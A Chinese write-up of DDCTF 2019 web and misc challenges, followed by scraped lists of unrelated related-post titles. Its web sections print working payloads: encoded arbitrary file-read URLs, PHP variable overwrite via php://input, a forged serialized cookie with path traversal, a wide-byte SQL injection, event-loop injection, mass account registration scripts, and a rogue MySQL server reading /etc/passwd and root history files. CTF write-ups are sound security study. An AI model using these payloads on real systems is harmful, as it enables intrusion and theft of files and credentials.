WEB

滴~

http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

观察链接可发现jpg的值是文件名转hex再base64编码两次得到,由此得到任意文件读取漏洞

读取index.php

http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

将源码中的base解码得到源码

备注是提示,访问该博客该日期的文章,得到提示 .practice.txt.swp,最后发现flag文件

结合index.php的逻辑

将f1agconfigddctf.php转为hex字符串,base64编码两次,然后

http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

得到f1ag!ddctf.php的源码,典型变量覆盖

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
} ?>

http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=

WEB 签到题

抓包发现有个认证的接口,有个username未填值

尝试admin成功并给出了一个地址

访问发现是源代码

nickname处可注入%s带出eancrykey

得到eancrykey就可伪造Cookie,伪造成功即可造成反序列化漏洞

Application类可造成任意文件读取

这里可以双写绕过

这里判断了长度,猜测flag文件路径为../config/flag.txt

最后payload

<?php
Class Application {
var $path = '....//config/flag.txt';
}
$o=new Application();
$session=serialize($o);
echo urlencode($session.md5("EzblrbNS".$session));

Upload-IMG

上传的图片会经过二次渲染,插入的多余字符就会被删除,将其渲染过的图片用010editor打开会发现是GD

搜索找到相关方法和脚本

https://wiki.ioin.in/soft/detail/1q

初步尝试多次未成功,后将渲染后的图片下载后再次用该脚本处理,上传,成功绕过

homebrew event loop

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon' from flask import Flask, session, request, Response
import urllib app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66177e857' def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack class RollBackException: pass def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp @app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True': source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close() if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index') def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />' def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index') if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

首先发现此处action可控,可注入代码,其后多余部分可用#注释

利用该点可调用脚本内任意带参函数,比如调用show_flag_function

然后看到这里,虽然不会显示flag,但trigger_event中的内容会被记录到log中,log在session中,而flask 是本地session,读取本地session就行

最后思路就是,想办法让自己num_items大于5后调用get_flag_handler

注意到这里买东西和扣钱的处理是分开的,直觉肯定有问题。正常处理是先buy_handler,这时是不理会points直接增加num_items的,然后马上consume_point_function,这时才比较points,points不够的话就回滚session。如果这样就必须想办法先调用buy_handler,然后调用get_flag_handler,将consume_point_function排到后面才行

最后利用到trigger_event函数注入event构造出自己想要调用的顺序

最终paylaod

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

或者这样,只要不超过日志容量且num_items大于等于5就行

http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;

用p神脚本解密本地session

欢迎报名DDCTF

一开始报名处存在XSS

用xss平台读取到源码后发现一个接口

测出是宽字节注入后就常规操作查数据库,查表名,列名,最后得到flag。(一开始有看到gbk编码想到是宽字节,但随手测试一条payload发现不报错就没测了,后悔!,后面实在没辙了就继续测试才发现)

http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23

大吉大利,今晚吃鸡

一开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296

然后写脚本注册小号,主号提交。两个脚本这样其实比较麻烦而且费时间,但我就是懒-.-,,没有整合两个脚本,最后是第一个脚本跑了足够多的id和Tiket之后,第二个脚本提交

注册小号得到id和ticket

import requests
import re
import time requests=requests.session() def register(username):
url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username)
res=requests.get(url)
return res.text def buy():
url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
res=requests.get(url)
bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1) url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
res=requests.get(url)
return res.text def xx(username):
register(username)
return buy() f=open('acc10.txt','w')
for i in range(0,600):
res=xx("l3yx_101_00"+str(i))
time.sleep(3)
print res
f.writelines(res)
f.flush()

主号提交

import requests
import re
import time requests=requests.session() def login(name,password):
url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password)
res=requests.get(url)
return res.text def submit(id,ticket):
url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket)
res=requests.get(url)
return res.text login('lei','')
f=open('acc8.txt','r')
for i in f.readlines():
id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1)
ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2)
time.sleep(2)
print submit(id_,ticket_)

mysql弱口令

网站功能是扫描服务器上mysql的弱口令,应该是会用弱口令来连接我的mysql服务端,想到之前见过伪造mysql服务端来攻击客户端的骚操作

https://lightless.me/archives/read-mysql-client-file.html

1.服务器启动mysql伪造脚本,由于我本机装有mysql,所以该伪造脚本端口设置在3307(网上公开脚本,非原创)

2.服务器启动agent.py

3.在网页填写ip和端口进行扫描

此时伪造服务端的脚本已成功读取/etc/passwd

继续读/root/.bash_history发现入口文件/home/dc2-user/ctf_web_2/app/main/views.py

从入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在数据库

尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果,貌似是空的???

最后读取/root/.mysql_history发现flag

MISC

北京地铁

根据Color Threshold提示测试LSB隐写,找到一串密文

观察图片,发现有两个位置颜色不同

尝试用魏公村地名为密钥解密成功

MulTzor

github找到分析xor的工具

https://github.com/hellman/xortool

猜测是空格最多,所以-c后面是20。脚本得出key最大可能性长度是6,并给出了可能的key

但发现有部分乱码,而且是每6个字符,第一个字符错误,很容易知道是脚本得出的key长度没有问题,但第一个字符错了

观察下面有DCTF{,显而易见前面那个乱码是D,所以用这个位置的密文异或上D就能得到key第一位

异或得到key第一位

所以最后key是\x323\xffSY\x8b

WireShark

在HTTP包中找到3张图片,分别导出字节流

前两张相似但文件大小不同,第二张体积比较大

最后一个HTTP包还发现一个图片加密隐藏信息的网站

需要密码和加密后的图片

猜测第二张图片是第一张加密过后的,第三张钥匙形状的藏有密码

最后发现钥匙图片是高度隐写,修改高度后

解密

16进制到文本字符串

联盟决策大会

参考以下文章

https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing

https://blog.mythsman.com/2015/10/07/2/

根据题意猜测,组织1内部需要算出一段数据zh1,组织2内部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最终秘密,需要注意的是就是顺序需要多次测试,而且脚本内的_PRIME需要设置为p

最终脚本

from __future__ import division
from __future__ import print_function
import random
import functools _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
_RINT = functools.partial(random.SystemRandom().randint, 0) def _eval_at(poly, x, prime):
accum = 0
for coeff in reversed(poly):
accum *= x
accum += coeff
accum %= prime
return accum def make_random_shares(minimum, shares, prime=_PRIME):
if minimum > shares:
raise ValueError("pool secret would be irrecoverable")
poly = [_RINT(prime) for i in range(minimum)]
points = [(i, _eval_at(poly, i, prime))
for i in range(1, shares + 1)]
return poly[0], points def _extended_gcd(a, b):
x = 0
last_x = 1
y = 1
last_y = 0
while b != 0:
quot = a // b
a, b = b, a%b
x, last_x = last_x - quot * x, x
y, last_y = last_y - quot * y, y
return last_x, last_y def _divmod(num, den, p):
inv, _ = _extended_gcd(den, p)
return num * inv def _lagrange_interpolate(x, x_s, y_s, p):
k = len(x_s)
assert k == len(set(x_s)), "points must be distinct"
def PI(vals): # upper-case PI -- product of inputs
accum = 1
for v in vals:
accum *= v
return accum
nums = [] # avoid inexact division
dens = []
for i in range(k):
others = list(x_s)
cur = others.pop(i)
nums.append(PI(x - o for o in others))
dens.append(PI(cur - o for o in others))
den = PI(dens)
num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
for i in range(k)])
return (_divmod(num, den, p) + p) % p def recover_secret(shares, prime=_PRIME):
if len(shares) < 2:
raise ValueError("need at least two shares")
x_s, y_s = zip(*shares)
return _lagrange_interpolate(0, x_s, y_s, prime) p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9
z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964
z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1
z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7 z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525
z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62
z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5 z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] )
z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] )
z=recover_secret( [ (1,z1) , (2,z2) ] )
print( recover_secret( [ (1,p) , (0,z) ] ) )

DDCTF 2019 部分WP的更多相关文章

  1. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  2. [GWCTF 2019]re3 wp

    [GWCTF 2019]re3 关键点:AES MD5 动态调试 smc自解密 gdb使用 跟进main函数 发现一个典型smc异或自解密 可以用idc脚本 或者python patch 或者动态调试 ...

  3. [DDCTF 2019]homebrew event loop

    0x00 知识点 逻辑漏洞: 异步处理导致可以先调用增加钻石,再调用计算价钱的.也就是先货后款. eval函数存在注入,可以通过#注释,我们可以传入路由action:eval#;arg1#arg2#a ...

  4. [极客大挑战 2019]Havefun wp

    很少见的很简单的一道题 查看源代码 获得一段被注释的代码 直接?cat=dog即可得flag

  5. 刷题记录:[SUCTF 2019]Pythonginx

    目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...

  6. ddctf2019--web部分writeup

    0x00前言 上周五开始的DDCTF 2019,整个比赛有一周,题目整体来说感觉很不错,可惜我太菜了,做了4+1道题,还是要努力吧 0x01 web 滴~ 打开看着url,就像文件包含 文件名1次he ...

  7. Writeup:第五届上海市大学生网络安全大赛-Web

    目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...

  8. 2019强网杯babybank wp及浅析

    前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...

  9. 2019 DDCTF 部分writeup

    网上的wp已经很多了,但wp普遍很简略.我尽量写的详细一点. 一.WEB 滴~ 拿到题目后首先右键查看源代码,发现图片是以base64传送的 而且看url发现里面应该是包含了文件名,并且用了某个编码. ...

随机推荐

  1. Linux安装docker-compose

    下载:curl -L https://get.daocloud.io/docker/compose/releases/download/1.16.1/docker-compose-`uname -s` ...

  2. CSS样式继承性

    CSS样式继承介绍 外层元素身上的样式会被内层元素所继承. 当内层元素身上的样式与外层的元素身上的样式相同时内层元素样式会覆盖外层元素样式. 并不是所有的样式都能够继承,只有文本与字体样式属性才能够被 ...

  3. xBIM 综合使用案例与 ASP.NET MVC 集成(一)

    XbimWebUI是一个Javascript库,可用于BIM模型的Web表示.它使用WebGL并且独立于任何第三方WebGL框架.查看器的数据格式为WexBIM.不能直接加载IFC文件. 一.将IFC ...

  4. 【转载】Java中的多线程超详细的总结

    引 如果对什么是线程.什么是进程仍存有疑惑,请先Google之,因为这两个概念不在本文的范围之内. 用多线程只有一个目的,那就是更好的利用cpu的资源,因为所有的多线程代码都可以用单线程来实现.说这个 ...

  5. 006.MongoDB副本集

    一 MongoDB 复制(副本集) 1.1 复制概述 MongoDB复制是将数据同步在多个服务器的过程. 复制提供了数据的冗余备份,并在多个服务器上存储数据副本,提高了数据的可用性, 并可以保证数据的 ...

  6. Linux 和 Windows 查看当前运行的 python 进程及 GPU、CPU、磁盘利用率

    目录 查看当前 python 进程 Linux Windows 查看 GPU 利用率 Linux Windows Linux CPU 利用率 Linux 磁盘利用率 查看当前 python 进程 Li ...

  7. Python机器学习笔记——One Class SVM

    前言 最近老板有一个需求,做单样本检测,也就是说只有一个类别的数据集与标签,因为在工厂设备中,控制系统的任务是判断是是否有意外情况出现,例如产品质量过低,机器产生奇怪的震动或者机器零件脱落等.相对来说 ...

  8. matlab键盘快捷键无法使用的解决办法

    打开matlab,在主页里点击 预设/preferences 左栏找 键盘/keyboard 点开键盘点击 快捷方式/shortcuts 在右边 活动设置 /Active settings 里选择 W ...

  9. BZOJ2007/LG2046 「NOI2010」海拔 平面图最小割转对偶图最短路

    问题描述 BZOJ2007 LG2046 题解 发现左上角海拔为 \(0\) ,右上角海拔为 \(1\) . 上坡要付出代价,下坡没有收益,所以有坡度的路越少越好. 所以海拔为 \(1\) 的点,和海 ...

  10. JavaScript 代码执行顺序

    一.先预处理后执行 在一个JavaScript文件或一个JavaScript代码块的内部,浏览器会先对代码进行预处理(编译),然后再执行. 预处理会跳过执行语句,只处理声明语句,同样也是按从上到下按顺 ...